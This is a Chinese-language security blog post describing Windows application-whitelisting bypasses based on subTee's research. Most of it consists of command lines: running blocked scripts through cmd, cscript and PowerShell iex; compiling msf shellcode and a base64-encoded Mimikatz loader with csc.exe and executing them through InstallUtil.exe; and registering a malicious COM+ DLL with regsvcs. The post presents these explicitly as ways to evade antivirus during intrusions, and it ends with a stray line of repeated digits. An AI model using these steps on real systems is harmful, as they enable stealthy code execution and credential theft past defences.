利用白名单应用绕过防护
0x00 前言
看了subTee的在ShmooCon2015的PPT,学习到了很多关于应用白名单绕过的技巧,今天又看见了subTee开始写博客了,并且详细解释了关于应用白名单绕过的方法,于是结合自己测试与大家分享一下。
看完ppt其实作者是想告诉我们一种思想,我自己的理解是"利用信任程序执行恶意代码"。
0x01 脚本执行
当在一些情况下,比如限制了.bat|.vbs|.ps1脚本执行,我们可以通过以下方法绕过
.bat cmd.exe /k < script.txt .vbs cscript.exe //E:vbscript script.txt .ps1 Get-Content script.txt | iex
测试的时候请注意编码这个坑,如果你自己新建一个文件手动写"net user"到文件测试,你会发现不成功,所以请用echo。
0x01 利用InstallUtil.exe执行程序
有些时候搞站遇到不能执行exe,或者是杀毒软件太厉害,这个方法很好的绕过了检测。当然环境种必须是.net4.0以上。
1.直接用msf生成shellcode,执行shellcode
Step One: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs Step Two: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe
当然了,如果你想第一步自己本地搞定,然后第二部再上传服务器执行也行。
2.直接执行pe文件(执行mimikatz)
如果是pe文件,需要先把pe文件base64编码,有两种方法:
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") * [OR] byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close();
利用同上:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
0x02 利用COM+应用
把我们的恶意shellcode写入COM+应用中
1: [.NET SDK] sn.exe key.snk 2: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /r:System.EnterpriseServices.dll /keyfile:key.snk /target:library /out:dllguest.dll dllguest.cs 3: [As Administrator] C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe dllguest.dll 4: [From PowerShell]$b = New-Object -ComObject dllguest.bypass OR [From VBScript]Dim obj Set obj = CreateObject("dllguest.Bypass")
使用原作的demo:
虽然demo写的不是很完美,测试的时候出了很多错,但已经能够表明作者“利用白名单应用执行恶意代码”的目的。
0x03原文:
http://subt0x10.blogspot.com/2015/08/hiding-in-plain-sight-com-surrogate.html
https://github.com/subTee/ShmooCon-2015
http://subt0x10.blogspot.com/2015/08/application-whitelisting-bypasses-101.html
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/620.html
666666666666666666666666666666666